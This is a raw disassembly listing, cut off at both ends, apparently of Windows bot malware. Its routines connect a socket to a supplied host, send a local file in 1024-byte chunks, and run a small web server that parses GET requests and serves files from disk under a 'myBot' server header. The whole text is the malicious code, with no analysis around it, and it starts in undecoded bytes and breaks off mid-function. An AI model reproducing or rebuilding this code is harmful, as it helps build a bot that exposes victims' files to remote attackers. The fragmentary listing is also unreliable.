dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
db 2
byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao
dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h
dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h
dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h
dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h
dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h
dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh
dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah
dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
dd 56FC4589h, 0E468156Ah, 50004337h, 3BE9D3FFh, 56000004h
dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh
dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh
dd 0DC68FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
dd 4337D4h, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh
dd 4337BC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337B468h
dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379C68h
dd 8D61EB00h, 0FFFF5085h, 379468FFh, 0E8500043h, 0D42Ch
dd 59C08559h, 6A560A75h, 3784680Dh, 40EB0043h, 0FF50858Dh
dd 7C68FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
dd 6868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 433764h
dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 433744h
dd 2F1E957h, 3CBF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh
dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373868h
dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43372468h
dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h
dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433720h, 0D376E850h
dd 85590000h, 0D7559C0h, 68136A56h, 43370Ch, 27BE9h, 50858D00h
dd 68FFFFFFh, 433704h, 0D352E850h, 85590000h, 347559C0h
dd 0D8BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh
dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0D068FFFFh
dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B8BE05h
dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h
dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h
dd 68FFFFFFh, 4336B0h, 0D2C6E850h, 85590000h, 850F59C0h
dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh
dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
dd 43368868h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh
dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h
dd 0FFFFFF04h, 57F475FFh, 43368068h, 5FE85000h, 6A0000CAh
dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch
dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
dd 433674h, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43365468h
dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364C68h, 0F5E85000h
dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43362068h
dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h
dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
dd 433604h, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh
dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
dd 1F88300h, 93850Fh, 6A560000h, 35EC6817h, 75FF0043h
dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35CC68FFh, 0E8500043h
dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h
dd 5FF0000h, 4CDA80h, 562EEB59h, 0A868206Ah, 0EB004335h
dd 50858D1Fh, 68FFFFFFh, 42C994h, 0D0F6E850h, 85590000h
dd 0D7559C0h, 681B6A56h, 43358Ch, 0FF0875FFh, 8D646AD3h
dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah
dd 0C2C95B5Eh
db 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
call near ptr 71AB3C22h
nop
push dword ptr [ebp+8]
mov dword_4CDCC8, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
call near ptr 71AB1746h
nop
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CDCC8
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40F036
push dword_4CDCC8
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F036: ; CODE XREF: ___:0040F01Ej
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 2660000h
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41B4C2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F0D2
test byte ptr [esi+0Ch], 10h
jnz short loc_40F0B6
push edi
mov edi, 400h
loc_40F07E: ; CODE XREF: ___:0040F0B3j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41B11A
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CDCC8
nop
call near ptr 71AB1AF4h
push 1
nop
call near ptr 2660F2Dh
test byte ptr [esi+0Ch], 10h
jz short loc_40F07E
pop edi
loc_40F0B6: ; CODE XREF: ___:0040F076j
push esi
call sub_41B05B
pop ecx
push dword_4CDCC8
call near ptr 71AB1A6Dh
nop
nop
call near ptr 71AB1836h
push 1
pop eax
loc_40F0D2: ; CODE XREF: ___:0040F070j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o
; sub_40BACD+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41B590
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CAF74
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40F4C0
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43DEBC[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
push 7FFFFFFFh
push edi
call dword_4CAF9C
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CB010
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CAF5C
cmp eax, 0FFFFFFFFh
jz loc_40F4BB
xor esi, esi
mov [ebp+var_4], esi
loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CAE60
test eax, eax
jz loc_40F4A6
cmp esi, [ebp+var_C]
jnz short loc_40F264
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CB008
cmp eax, 0FFFFFFFFh
jz loc_40F4A6
xor ecx, ecx
test ebx, ebx
jbe short loc_40F236
lea edx, [ebp+var_134]
loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj
cmp [edx], eax
jz short loc_40F236
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F22A
loc_40F236: ; CODE XREF: sub_40F0D5+14Dj
; sub_40F0D5+157j
cmp ecx, ebx
jnz short loc_40F253
cmp ebx, 40h
jnb short loc_40F253
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40F253: ; CODE XREF: sub_40F0D5+163j
; sub_40F0D5+168j
cmp eax, [ebp+var_8]
jbe loc_40F4A6
mov [ebp+var_8], eax
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F264: ; CODE XREF: sub_40F0D5+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41B590
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CAF8C
test eax, eax
jg short loc_40F2F7
push esi
call dword_4CB00C
xor ecx, ecx
test ebx, ebx
jbe loc_40F4A6
lea eax, [ebp+var_134]
loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj
cmp [eax], esi
jz short loc_40F2C7
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F2B6
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F2EB
lea eax, [ebp+ecx*4+var_134]
loc_40F2D5: ; CODE XREF: sub_40F0D5+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F2D5
loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B590
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jbe loc_40F4A6
loc_40F325: ; CODE XREF: sub_40F0D5+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40F3CA
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_40F39E
lea eax, [ebp+var_18F0]
push eax
call sub_41AFE0
cmp eax, 5
pop ecx
jbe short loc_40F39E
mov eax, offset asc_42CA34 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41C0F4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41BEB0
add esp, 10h
jmp short loc_40F3B5
; ---------------------------------------------------------------------------
loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj
; sub_40F0D5+291j
lea eax, [ebp+var_18F0]
push offset asc_433824 ; "\r\n"
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40F3E9
loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F3CA: ; CODE XREF: sub_40F0D5+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41AFE0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40F325
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40F433
lea eax, [ebp+var_134]
loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40F406
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F3F5
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F406: ; CODE XREF: sub_40F0D5+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F42A
lea eax, [ebp+ecx*4+var_134]
loc_40F414: ; CODE XREF: sub_40F0D5+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F414
loc_40F42A: ; CODE XREF: sub_40F0D5+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F433: ; CODE XREF: sub_40F0D5+318j
mov esi, [ebp+var_4]
loc_40F436: ; CODE XREF: sub_40F0D5+32Fj
; sub_40F0D5+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40F49F
lea eax, [ebp+var_360]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40F49F
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CB010
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F6B3
add esp, 14h
jmp short loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F49F: ; CODE XREF: sub_40F0D5+369j
; sub_40F0D5+38Fj
push esi
call dword_4CB00C
loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj
; sub_40F0D5+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F1E2
jmp loc_40F1AC
; ---------------------------------------------------------------------------
loc_40F4BB: ; CODE XREF: sub_40F0D5+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj
; sub_40F0D5+92j ...
call dword_4CAF08
push eax
lea eax, [ebp+var_8F0]
push offset unk_4337FC
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F506
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409A72
add esp, 14h
loc_40F506: ; CODE XREF: sub_40F0D5+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_254]
call sub_40B412
pop ecx
push ebx
call near ptr 26D0000h
nop
pop edi
pop esi
pop ebx
sub_40F0D5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BB20
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41B886
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40F596
push offset aTextHtml ; "text/html"
jmp short loc_40F59B
; ---------------------------------------------------------------------------
loc_40F596: ; CODE XREF: sub_40F530+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40F59B: ; CODE XREF: sub_40F530+64j
lea eax, [ebp+var_9C]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2730000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 2721566h
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F614
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 24h
jmp short loc_40F635
; ---------------------------------------------------------------------------
loc_40F614: ; CODE XREF: sub_40F530+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 28h
loc_40F635: ; CODE XREF: sub_40F530+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CAFC4
cmp [ebp+var_A4], edi
jnz short loc_40F675
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40FFF0
pop ecx
pop ecx
jmp short loc_40F692
; ---------------------------------------------------------------------------
loc_40F675: ; CODE XREF: sub_40F530+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40F96A
add esp, 10h
loc_40F692: ; CODE XREF: sub_40F530+143j
push [ebp+var_44C]
call dword_4CB00C
push [ebp+var_B4]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
pop edi
pop esi
sub_40F530 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B590
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F6E9
push eax
push offset aS_3 ; "\\%s"
jmp short loc_40F6F2
; ---------------------------------------------------------------------------
loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40F6F2: ; CODE XREF: sub_40F6B3+34j
lea eax, [ebp+var_10C]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_40F78D
mov [ebp+arg_8], 2
loc_40F71D: ; CODE XREF: sub_40F6B3+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41AFE0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F75D
cmp [ebp+esi+var_10C], 25h
jnz short loc_40F75D
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F75D
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F75D
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F777
; ---------------------------------------------------------------------------
loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj
; sub_40F6B3+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40F76D
push 5Ch
pop eax
jmp short loc_40F770
; ---------------------------------------------------------------------------
loc_40F76D: ; CODE XREF: sub_40F6B3+B3j
movsx eax, al
loc_40F770: ; CODE XREF: sub_40F6B3+B8j
mov [ebp+ebx+var_210], al
loc_40F777: ; CODE XREF: sub_40F6B3+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_40F71D
loc_40F78D: ; CODE XREF: sub_40F6B3+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_4293C4
push eax
call sub_41B886
lea eax, [ebp+var_314]
push offset asc_429998 ; "\n"
push eax
call sub_41C0F4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call near ptr 2670DABh
nop
push 1
cmp eax, 10h
pop esi
jz short loc_40F7DE
cmp eax, 0FFFFFFFFh
jnz short loc_40F7E1
push [ebp+arg_0]
jmp loc_40F861
; ---------------------------------------------------------------------------
loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj
mov [ebp+var_4], esi
loc_40F7E1: ; CODE XREF: sub_40F6B3+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F7EE
mov [ebp+var_4], esi
loc_40F7EE: ; CODE XREF: sub_40F6B3+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F86C
cmp [ebp+arg_C], edi
jz short loc_40F860
lea eax, [ebp+var_314]
push offset asc_433AB0 ; "*"
push eax
call sub_41BEC0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
lea eax, [ebp+var_210]
push eax
call sub_4100AD
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41B886
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_40F8BB
; ---------------------------------------------------------------------------
loc_40F860: ; CODE XREF: sub_40F6B3+152j
push ebx
loc_40F861: ; CODE XREF: sub_40F6B3+126j
call dword_4CB00C
jmp loc_40F963
; ---------------------------------------------------------------------------
loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 27008BBh
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F8BB
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 2730CD7h
nop
push esi
mov [ebp+var_330], eax
nop
call near ptr 26509C6h
loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj
; sub_40F6B3+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_433A7C
push eax
call sub_41B886
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B0F6
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43DEB4[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F530
push edi
push edi
nop
call near ptr 2670000h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43DEC4[ecx], eax
jz short loc_40F935
loc_40F923: ; CODE XREF: sub_40F6B3+280j
cmp [ebp+var_318], edi
jnz short loc_40F963
push 5
nop
call near ptr 2660F2Dh
jmp short loc_40F923
; ---------------------------------------------------------------------------
loc_40F935: ; CODE XREF: sub_40F6B3+26Ej
push ebx
call dword_4CB00C
nop
call near ptr 2670897h
push eax
lea eax, [ebp+var_8C4]
push offset unk_433A44
push eax
call sub_41B886
lea eax, [ebp+var_8C4]
push eax
call sub_4151AC
add esp, 10h
loc_40F963: ; CODE XREF: sub_40F6B3+1B4j
; sub_40F6B3+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F6B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap
; sub_40F530+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
